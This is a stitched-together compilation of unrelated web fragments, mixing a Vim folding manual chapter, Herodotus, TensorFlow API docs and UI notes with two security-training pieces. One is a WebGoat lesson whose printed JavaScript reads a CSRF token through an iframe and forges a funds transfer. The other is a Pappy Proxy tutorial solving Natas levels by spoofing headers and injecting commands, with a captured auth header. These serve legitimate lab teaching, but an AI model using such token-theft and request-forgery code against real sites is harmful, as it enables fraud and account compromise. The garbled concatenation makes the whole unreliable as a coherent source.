*28.1* What is folding? Folding is used to show a range of lines in the buffer as a single line on the screen. Like a piece of paper which is folded to make it shorter: +------------------------+ | line 1 | | line 2 | | line 3 | |_______________________ | \ \ \________________________\ / folded lines / /________________________/ | line 12 | | line 13 | | line 14 | +------------------------+ The text is still in the buffer, unchanged. Only the way lines are displayed is affected by folding. The advantage of folding is that you can get a better overview of the structure of text, by folding lines of a section and replacing it with a line that indicates that there is a section.
*28.2* Manual folding Try it out: Position the cursor in a paragraph and type: zfap You will see that the paragraph is replaced by a highlighted line. You have created a fold. |zf| is an operator and |ap| a text object selection. You can use the |zf| operator with any movement command to create a fold for the text that it moved over. |zf| also works in Visual mode. To view the text again, open the fold by typing: zo And you can close the fold again with: zc All the folding commands start with "z".  The letter after the "z" has a mnemonic meaning to make it easier to remember the commands: zf F-old creation zo O-pen a fold zc C-lose a fold Folds can be nested: A region of text that contains folds can be folded again. For example, you can fold each paragraph in this section, and then fold all the sections in this chapter. Try it out. You will notice that opening the fold for the whole chapter will restore the nested folds as they were, some may be open and some may be closed. Suppose you have created several folds, and now want to view all the text. You could go to each fold and type "zo". To do this faster, use this command: zr This will R-educe the folding. The opposite is: zm This folds M-ore. You can repeat "zr" and "zm" to open and close nested folds of several levels. If you have nested several levels deep, you can open all of them with: zR This R-educes folds until there are none left. And you can close all folds with: zM This folds M-ore and M-ore. You can quickly disable the folding with the |zn| command. Then |zN| brings back the folding as it was. |zi| toggles between the two. This is a useful way of working: - create folds to get overview on your file - move around to where you want to do your work - do |zi| to look at the text and edit it - do |zi| again to go back to moving around More about manual folding in the reference manual: |fold-manual|
*28.3* Working with folds When some folds are closed, movement commands like "j" and "k" move over a fold like it was a single, empty line. This allows you to quickly move around over folded text. You can yank, delete and put folds as if it was a single line. This is very useful if you want to reorder functions in a program. First make sure that each fold contains a whole function (or a bit less) by selecting the right 'foldmethod'. Then delete the function with "dd", move the cursor and put it with "p". If some lines of the function are above or below the fold, you can use Visual selection: - put the cursor on the first line to be moved - hit "V" to start Visual mode - put the cursor on the last line to be moved - hit "d" to delete the selected lines. - move the cursor to the new position and "p"ut the lines there. It is sometimes difficult to see or remember where a fold is located, thus where a |zo| command would actually work. To see the defined folds: :set foldcolumn=4 This will show a small column on the left of the window to indicate folds. A "+" is shown for a closed fold. A "-" is shown at the start of each open fold and "|" at following lines of the fold. You can use the mouse to open a fold by clicking on the "+" in the foldcolumn. Clicking on the "-" or a "|" below it will close an open fold. To open all folds at the cursor line use |zO|. To close all folds at the cursor line use |zC|. To delete a fold at the cursor line use |zd|. To delete all folds at the cursor line use |zD|. When in Insert mode, the fold at the cursor line is never closed. That allows you to see what you type! Folds are opened automatically when jumping around or moving the cursor left or right. For example, the "0" command opens the fold under the cursor (if 'foldopen' contains "hor", which is the default). The 'foldopen' option can be changed to open folds for specific commands. If you want the line under the cursor always to be open, do this: :set foldopen=all Warning: You won't be able to move onto a closed fold then. You might want to use this only temporarily and then set it back to the default: :set foldopen& You can make folds close automatically when you move out of it: :set foldclose=all This will re-apply 'foldlevel' to all folds that don't contain the cursor. You have to try it out if you like how this feels. Use |zm| to fold more and |zr| to fold less (reduce folds). The folding is local to the window. This allows you to open two windows on the same buffer, one with folds and one without folds. Or one with all folds closed and one with all folds open.
*28.4* Saving and restoring folds When you abandon a file (starting to edit another one), the state of the folds is lost. If you come back to the same file later, all manually opened and closed folds are back to their default. When folds have been created manually, all folds are gone! To save the folds use the |:mkview| command: :mkview This will store the settings and other things that influence the view on the file. You can change what is stored with the 'viewoptions' option. When you come back to the same file later, you can load the view again: :loadview You can store up to ten views on one file. For example, to save the current setup as the third view and load the second view: :mkview 3 :loadview 2 Note that when you insert or delete lines the views might become invalid. Also check out the 'viewdir' option, which specifies where the views are stored. You might want to delete old views now and then.
*28.5* Folding by indent Defining folds with |zf| is a lot of work. If your text is structured by giving lower level items a larger indent, you can use the indent folding method. This will create folds for every sequence of lines with the same indent. Lines with a larger indent will become nested folds. This works well with many programming languages. Try this by setting the 'foldmethod' option: :set foldmethod=indent Then you can use the |zm| and |zr| commands to fold more and reduce folding. It's easy to see on this example text: This line is not indented This line is indented once This line is indented twice This line is indented twice This line is indented once This line is not indented This line is indented once This line is indented once Note that the relation between the amount of indent and the fold depth depends on the 'shiftwidth' option. Each 'shiftwidth' worth of indent adds one to the depth of the fold. This is called a fold level. When you use the |zr| and |zm| commands you actually increase or decrease the 'foldlevel' option. You could also set it directly: :set foldlevel=3 This means that all folds with three times a 'shiftwidth' indent or more will be closed. The lower the foldlevel, the more folds will be closed. When 'foldlevel' is zero, all folds are closed. |zM| does set 'foldlevel' to zero. The opposite command |zR| sets 'foldlevel' to the deepest fold level that is present in the file. Thus there are two ways to open and close the folds: (A) By setting the fold level. This gives a very quick way of "zooming out" to view the structure of the text, move the cursor, and "zoom in" on the text again. (B) By using |zo| and |zc| commands to open or close specific folds. This allows opening only those folds that you want to be open, while other folds remain closed. This can be combined: You can first close most folds by using |zm| a few times and then open a specific fold with |zo|. Or open all folds with |zR| and then close specific folds with |zc|. But you cannot manually define folds when 'foldmethod' is "indent", as that would conflict with the relation between the indent and the fold level. More about folding by indent in the reference manual: |fold-indent|
*28.6* Folding with markers Markers in the text are used to specify the start and end of a fold region. This gives precise control over which lines are included in a fold. The disadvantage is that the text needs to be modified. Try it: :set foldmethod=marker Example text, as it could appear in a C program: /* foobar () {{{ */ int foobar() { /* return a value {{{ */ return 42; /* }}} */ } /* }}} */ Notice that the folded line will display the text before the marker. This is very useful to tell what the fold contains. It's quite annoying when the markers don't pair up correctly after moving some lines around. This can be avoided by using numbered markers. Example: /* global variables {{{1 */ int varA, varB; /* functions {{{1 */ /* funcA() {{{2 */ void funcA() {} /* funcB() {{{2 */ void funcB() {} /* }}}1 */ At every numbered marker a fold at the specified level begins. This will make any fold at a higher level stop here. You can just use numbered start markers to define all folds. Only when you want to explicitly stop a fold before another starts you need to add an end marker. More about folding with markers in the reference manual: |fold-marker|
*28.7* Folding by syntax For each language Vim uses a different syntax file. This defines the colors for various items in the file. If you are reading this in Vim, in a terminal that supports colors, the colors you see are made with the "help" syntax file. In the syntax files it is possible to add syntax items that have the "fold" argument. These define a fold region. This requires writing a syntax file and adding these items in it. That's not so easy to do. But once it's done, all folding happens automatically. Here we'll assume you are using an existing syntax file. Then there is nothing more to explain. You can open and close folds as explained above. The folds will be created and deleted automatically when you edit the file. More about folding by syntax in the reference manual: |fold-syntax|
*28.8* Folding by expression This is similar to folding by indent, but instead of using the indent of a line a user function is called to compute the fold level of a line. You can use this for text where something in the text indicates which lines belong together. An example is an e-mail message where the quoted text is indicated by a ">" before the line. To fold these quotes use this: :set foldmethod=expr :set foldexpr=strlen(substitute(substitute(getline(v:lnum),'\\s','',\"g\"),'[^>].*','','')) You can try it out on this text: > quoted text he wrote > quoted text he wrote > > double quoted text I wrote > > double quoted text I wrote Explanation for the 'foldexpr' used in the example (inside out): getline(v:lnum) gets the current line substitute(...,'\\s','','g') removes all white space from the line substitute(...,'[^>].*','','') removes everything after leading '>'s strlen(...) counts the length of the string, which is the number of '>'s found Note that a backslash must be inserted before every space, double quote and backslash for the ":set" command. If this confuses you, do :set foldexpr to check the actual resulting value. To correct a complicated expression, use the command-line completion: :set foldexpr=<Tab> Where <Tab> is a real Tab. Vim will fill in the previous value, which you can then edit. When the expression gets more complicated you should put it in a function and set 'foldexpr' to call that function. More about folding by expression in the reference manual: |fold-expr|
*28.9* Folding unchanged lines This is useful when you set the 'diff' option in the same window. The |vimdiff| command does this for you. Example: :setlocal diff foldmethod=diff scrollbind nowrap foldlevel=1 Do this in every window that shows a different version of the same file. You will clearly see the differences between the files, while the text that didn't change is folded. For more details see |fold-diff|.
*28.10* Which fold method to use? All these possibilities make you wonder which method you should chose. Unfortunately, there is no golden rule. Here are some hints. If there is a syntax file with folding for the language you are editing, that is probably the best choice. If there isn't one, you might try to write it. This requires a good knowledge of search patterns. It's not easy, but when it's working you will not have to define folds manually. Typing commands to manually fold regions can be used for unstructured text. Then use the |:mkview| command to save and restore your folds. The marker method requires you to change the file. If you are sharing the files with other people or you have to meet company standards, you might not be allowed to add them. The main advantage of markers is that you can put them exactly where you want them. That avoids that a few lines are missed when you cut and paste folds. And you can add a comment about what is contained in the fold. Folding by indent is something that works in many files, but not always very well. Use it when you can't use one of the other methods. However, it is very useful for outlining. Then you specifically use one 'shiftwidth' for each nesting level. Folding with expressions can make folds in almost any structured text. It is quite simple to specify, especially if the start and end of a fold can easily be recognized. If you use the "expr" method to define folds, but they are not exactly how you want them, you could switch to the "manual" method. This will not remove the defined folds. Then you can delete or add folds manually.
Next chapter: |usr_29.txt| Moving through programs Copyright: see |manual-copyright| vim:tw=78:ts=8:ft=help:norl: top - main help file


Lesson Plan Title:CSRF Token By-Pass
Concept / Topic To Teach:
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page that contains a 'forged request' to execute commands with the victim's credentials.
Token-based request authentication deters these attacks. This technique inserts tokens into pages that issue requests. These tokens are required to complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses this technique to help prevent CSRF attacks.
However, this technique can be by-passed if CSS vulnerabilities exist on the same site. Because of the same-origin browser policy, pages from the same domain can read content from other pages from the same domain.
General Goal(s):
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious request to transfer funds. To successfully complete you need to obtain a valid request token. The URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter "transferFunds=main". Load this page, read the token and append the token in a forged request to transferFunds. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu.
Solution:
Similar to the CSRF LAB, you must forge a request that will transfer funds. However, a request will not result in a transfer of funds unless it has a correct token. To find a valid token, you could look at the form that the site generates to submit a transfer of funds. To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter of "transferFunds=main".
Transfer initiation form
Next look at the source of the page to see what parameter the token comes in.
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='attack?Screen=XXX&menu=YYY' enctype='application/x-www-form-urlencoded'>
<input name='transferFunds' type='text' value='0'>
<input name='CSRFToken' type='hidden' value='1745740650'>
<input type='submit'>
</form>
From this we see that a forged command will need the CSRFToken parameter.
This solution loads this page in an iframe and reads the token out of the frame. Note that this is possible because the message originates from the same domain and does not violate the "same origin policy". Despite the victim page taking measures to prevent CSRF attacks, the measures can be side-stepped because of XSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the frame, then the form, then saves the token.
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=5000" + tokensuffix;
}
Function readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2 LoadFrame2 will then append the token and load a second frame.
The following loads the transfer page in the first frame. When it finishes loading, it will call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.

The next picture shows inserting this code into a message:
Inserting CSRF code into message
The following picture shows the results of someone hitting this page. Note that no effort was taken to hide the results of the two frames. The first frame shows the transfer funds form, and the second shows the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
The next picture shows inserting this code into a message:
Results of viewing the malicious message


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Wikipedia 40% normal
Option 100 - more about this
Option 2 - this is more about this
Option 3 GB
Option 4
Feature
Option 200 - more about this
Option 5 GB
Option 6
Option 8 GB
Option 10
Unlimited


1 Now if we agree with the opinion of the Ionians, who say that only the Delta is Egypt, and that its seaboard reaches from the so-called Watchtower of Perseus forty schoeni to the Salters' at Pelusium, while inland it stretches as far as the city of Cercasorus, where the Nile divides and flows to Pelusium and Canobus, and that all the rest of Egypt is partly Libya and partly Arabia—if we follow this account, we can show that there was once no land for the Egyptians;
2 for we have seen that (as the Egyptians themselves say, and as I myself judge) the Delta is alluvial land and but lately (so to speak) came into being. Then if there was once no land for them, it was an idle notion that they were the oldest nation on earth, and they need not have made that trial to see what language the children would first speak.
3 I maintain, rather, that the Egyptians did not come into existence together with what the Ionians call the Delta, but have existed since the human race came into being; and as the land grew in extent, there were many of them who stayed behind, and many who spread down over it. Be that as it may, the Theban district, a land of seven hundred and sixty-five miles in circumference, was in the past called Egypt.


Inline forms render in context in the current view instead of in a separate modal. It is most commonly used in grids, repeaters, and tiles.
When users click the Add button, the form slides out from the bottom of the list.
When users click the Edit button, the view content fades out and the form slides in to replace the view content.
The primary action on the inline form should be Save or Done.
Use Save if the inline form saves data to the database immediately.
Use Done if the inline form does not save data to the database immediately because it is part of a larger form.


#include <math_ops.h>
Compare values of input
to threshold
and pack resulting bits into a uint8
.
Each comparison returns a boolean true
(if input_value > threshold
) or and false
otherwise.
This operation is useful for Locality-Sensitive-Hashing (LSH) and other algorithms that use hashing approximations of cosine and L2
distances; codes can be generated from an input via:
codebook_size = 50 codebook_bits = codebook_size * 32 codebook = tf.get_variable('codebook', [x.shape[-1].value, codebook_bits], dtype=x.dtype, initializer=tf.orthogonal_initializer()) codes = compare_and_threshold(tf.matmul(x, codebook), threshold=0.) codes = tf.bitcast(codes, tf.int32) # go from uint8 to int32 # now codes has shape x.shape[:-1] + [codebook_size]
NOTE: Currently, the innermost dimension of the tensor must be divisible by 8.
Given an input
shaped [s0, s1, ..., s_n]
, the output is a uint8
tensor shaped [s0, s1, ..., s_n / 8]
.
Arguments:
threshold
and bitpack.Returns:
Output
: The bitpacked comparisons.
Constructors and Destructors |
|
|---|---|
CompareAndBitpack(const ::tensorflow::Scope & scope, ::tensorflow::Input input, ::tensorflow::Input threshold)
|
Public attributes |
|
|---|---|
operation
|
|
output
|
Public functions |
|
|---|---|
node() const
|
::tensorflow::Node *
|
operator::tensorflow::Input() const
|
|
operator::tensorflow::Output() const
|
|
Operation operation
::tensorflow::Output output
CompareAndBitpack( const ::tensorflow::Scope & scope, ::tensorflow::Input input, ::tensorflow::Input threshold )
::tensorflow::Node * node() const
operator::tensorflow::Input() const
operator::tensorflow::Output() const


ORIENTATION
Date : 24 Sept ,2012
Venue : Room No. 213, ECE Block, IGIT
Time : 1-2pm
Orientation ceremony was organized on 24th September,2012 included a comprehensive presentation on CSI-IGIT and its activities followed by Qustion & Answer session by the audience. The main motive of CSI Society was made clear to the students.


This interactive tool works better on larger screens! That's because
Bulma columns are vertical by default. I recommend
revisiting this page later when you're on desktop. 😉
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{% include elements/drawing.html id='try-it-out' width=150 height=65
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recommended to stick with 12 columns.
If you want smaller divisions, you can always
nest columns.


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The Pappy Proxy Tutorial¶
Table of Contents
Getting Set Up¶
Introduction¶
This is a quick tutorial to get you started using Pappy like a pro. To do this, we’ll be going through from Natas. If you haven’t done it yet and don’t want it spoiled, I suggest giving it a try with Burp since we’ll be telling you all the answers right off the bat.
Getting Started¶
The first thing you’ll need to do is get Pappy installed.
Install from pypi:
$ pip install pappy
or install from source:
$ git clone --recursive https://github.com/roglew/pappy-proxy.git
$ cd pappy-proxy
$ pip install .
Note
Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!
That was easy! Make a project directory anywhere for Natas and fire up Pappy.:
$ mkdir natas
$ cd natas
Copying default config to ./config.json
Proxy is listening on port 8000
pappy>
If you look at what’s in the directory, you’ll notice that there’s a data.db
file and a config.json
file.
data.db
is a SQLite file that stores all the (in-scope) requests that pass through the proxyconfig.json
stores settings for the proxy
You don’t need to touch either of these right now. Just hop back into Pappy.
Installing Pappy’s CA Cert¶
In order to intercept HTTPS requests, you’ll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.
To generate certificates, you’ll use the gencerts
command. This will generate certificates in Pappy’s directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:
pappy> gencerts
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
(y/N) y
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
Generating private key... Done!
Generating client cert... Done!
pappy>
The directory that the certs get put in may be different for you. Next, you’ll need to add the generated certificate.crt
file to your browser. This is different for each browser.
Installing the Cert in Firefox¶
- Open Firefox
- Go to
Preferences -> Advanced -> View Certificates -> Authorities
- Click
Import
- Navigate to the directory where the certs were generated and double click
certificate.crt
Installing the Cert in Chrome¶
- Open Chrome
- Go to
Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities
- Click
Import
- Navigate to the directory where the certs were generated and double click
certificate.crt
Installing the Cert in Safari¶
- Use Finder to navigate to the directory where the certs were generated
- Double click the cert and follow the prompts to add it to your system keychain
Configuring Your Browser¶
Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won’t cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in config.json
, but don’t worry about that right now.
Note
Configure your browser extension to use the proxy server at loalhost on port 8000
Here are some proxy plugins that should work
- Firefox: FoxyProxy
- Chrome: Proxy SwitchySharp
Testing it Out¶
Start up Pappy in Lite mode by running pappy -l
, enable the proxy in your browser, then navigate to a website:
/pappynatas/ $ pappy -l
Temporary datafile is /tmp/tmp5AQBrH
Proxy is listening on port 8000
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 --
7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 --
6 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 0.29 --
5 GET vitaly.sexy /netscape.gif 200 OK 0 1135 0.22 --
4 GET vitaly.sexy /construction.gif 200 OK 0 28366 0.26 --
3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 --
2 GET vitaly.sexy / 200 OK 0 1201 0.21 --
1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 --
pappy> quit
Deleting temporary datafile
Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
The Tutorial¶
Setting the Scope¶
The first thing we’ll do is set up Pappy so that it only intercepts requests going to *.natas.labs.overthewire.org
:
pappy> filter host containsr "natas\.labs\.overthewire\.org$"
pappy> scope_save
What these commands do:
- Make the current context only include requests whose host ends in
natas.labs.overthewire.org
. - Save the current context as the scope
The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp natas\.labs\.overthewire\.org$
. When we save the scope, we’re saying that any request that doesn’t pass this regexp is out of scope and shouldn’t be touched.
If this doesn’t make sense, don’t worry, we’ll come back to this.
Natas 0¶
First, go to http://natas0.natas.labs.overthewire.org and log in with the default creds of natas0
/ natas0
. You should see a site that says “You can find the password for the next level on this page”. You don’t need Pappy for this one.
- Right click the page and select “view source”
- Read the password for natas1
- Visit http://natas1.natas.labs.overthewire.org and log in with the username
natas1
and the password you found.
Natas 1¶
Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There’s still ways to view the source in the browser, but we’ll use Pappy here. The commands we’ll learn here are ls
, vfq
, and vfs
.
ls
lists the most current requests that are in the current context. You’ll be using this a lot to get the IDs of requests you want to do things with.vfq <reqid>
prints the full request of a request you specifyvfs <reqid>
prints the full response to a request you specify
So to solve natas1, we’ll want to view the full response to our request to the page:
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
12 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
11 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
10 GET natas.labs.overthewire.org /img/wechall.gif 200 OK 0 9279 0.28 --
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
8 GET natas.labs.overthewire.org /js/wechall-data.js 200 OK 0 564 0.48 --
7 GET natas.labs.overthewire.org /js/jquery-ui.js 200 OK 0 435844 1.37 --
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
4 GET natas.labs.overthewire.org /css/wechall.css 200 OK 0 677 0.48 --
5 GET natas.labs.overthewire.org /css/jquery-ui.css 200 OK 0 32046 0.49 --
3 GET natas.labs.overthewire.org /css/level.css 200 OK 0 1332 0.48 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
pappy> vfs 14
HTTP/1.1 200 OK
Date: Fri, 18 Dec 2015 19:47:21 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
ETag: "427-507cf258a5240-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 1063
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
... snip ...

... snip ...
pappy>
Yay!
Natas 2¶
When you visit this page, you get a message saying “There is nothing on this page”. That is probably a blatant lie. Let’s see what was in that response.:
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
27 GET natas2.natas.labs.overthewire.org / 200 OK 0 872 0.27 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
... snip ...
pappy> vfs 27
HTTP/1.1 200 OK
... snip ...

natas2

There is nothing on this page

pappy>
So the only suspicious thing is
. I’ll let you figure out the rest ;)
Finding Your Passwords Later (How to Use Filters)¶
This section will explain how to use Pappy’s filters to find passwords to levels you’ve already completed. Every in-scope request and response that goes through Pappy is stored in the data.db
file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.
Filters¶
Here are the commands we’ll learn:
filter <filter string>
/f <filter string>
Add a filter that limits which requests are included in the current contextfu
Remove the most recently applied filtersr
Reset the context so that it matches the scopefilter_clear
Remove all filters from the context, including the filters applied by the scopefls
Show all currently applied filters
The most complicated of these is the filter
command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn’t pass the filter will be removed from the context. Most filter strings are of the format <field> <comparer> <value>
. For example:
host is www.target.org
field = "host"
comparer = "is"
value = "www.target.org"
This filter will only match requests whose host is exactly www.target.org
. When defining our scope, we applied a filter using a containsr
comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:
Commonly used fields
all
The full text of the request and the responsehost
The hostname of where the request is sentpath
The target path of the request. ie/path/to/page.php
verb
The HTTP verb. iePOST
orGET
(case sensitive!)body
The data section (the body) of either the request or the response
Commonly used comparers
is <value>
The field exactly matches the valuecontains <value>
/ct <value>
The field contains a valuecontainsr <regexp>
/ctr <regexp>
The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line
You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.
Once you’ve applied some filters, ls
will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use sr
. If you want to remove the last applied filter, use fu
.
Finding Passwords¶
While we can’t find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly
For natas0 and natas1, the responses had a phrase like “the password is abc123”. So we can filter out anything that doesn’t have the word “password” in it.:
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
50 GET natas4.natas.labs.overthewire.org / 200 OK 0 1019 0.27 --
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
48 GET natas3.natas.labs.overthewire.org /s3cr3t/users.txt 200 OK 0 40 0.27 --
46 GET natas3.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.53 --
47 GET natas3.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.53 --
45 GET natas3.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.53 --
44 GET natas3.natas.labs.overthewire.org /s3cr3t/ 200 OK 0 957 0.26 --
43 GET natas3.natas.labs.overthewire.org /s3cr3t 301 Moved Permanently 0 354 0.27 --
42 GET natas3.natas.labs.overthewire.org /robots.txt 200 OK 0 33 0.29 --
41 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
40 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.28 --
39 GET natas3.natas.labs.overthewire.org / 200 OK 0 923 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
36 GET natas2.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.47 --
35 GET natas2.natas.labs.overthewire.org /icons/image2.gif 200 OK 0 309 0.47 --
34 GET natas2.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.47 --
33 GET natas2.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.47 --
32 GET natas2.natas.labs.overthewire.org /files/ 200 OK 0 1153 0.26 --
31 GET natas2.natas.labs.overthewire.org /files 301 Moved Permanently 0 353 0.27 --
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
pappy> f body ct password
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
20 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.47 --
24 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
17 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.30 --
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
pappy>
It looks like requests 2 and 14 are the ones we’re looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use vfs
to look at the response and you’ll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
Anyways, back to Natas!
Natas 4¶
When we visit this page, we get an error saying that they will only display the password if we visit from http://natas5.natas.labs.overthewire.org/
. How does a website track where you came from? The Referer header! Where’s that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we’re golden.
To do this, we’ll be using Pappy’s interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we’re going to learn:
ic <req|rsp>+
Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command.ic req
will only intercept requests,ic rsp
will only intercept responses, andic req rsp
will intercept both.
In this case, we only want to intercept requests, so we’ll run ic req
:
pappy> ic req
And we’ll get a screen that says something like:
Currently intercepting: Requests
0 item(s) in queue.
Press 'n' to edit the next item or 'q' to quit interceptor.
Now refresh the page in your browser. The page will hang like it’s taking a long time to load. Go back to Pappy, and now the interceptor will say something like:
Currently intercepting: Requests
1 item(s) in queue.
Press 'n' to edit the next item or 'q' to quit interceptor.
Press n
and the request will be opened for editing! Which editor is used is defined by the EDITOR
environment variable. Use the text editor to add a Referer
header (note that there’s only one r):
GET / HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: keep-alive
Cache-Control: max-age=0
Referer: http://natas5.natas.labs.overthewire.org/
Save and quit, then press q
to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!
Now if you run ls, you’ll notice that the request we made has a q
in the Mngl
column. This means that we mangled the request. If there’s an s
in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request 12
by using the id u12
.
Natas 5¶
This one starts with a screen saying you’re not logged in. This is fine. For this one, you’ll need to use the interceptor to edit the value of a cookie. I’ll let you figure that one out.
Natas 7¶
You should get this one. Note the hint on the overthewire website: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Natas 9¶
For this one, when you view the source you’ll notice they’re taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:
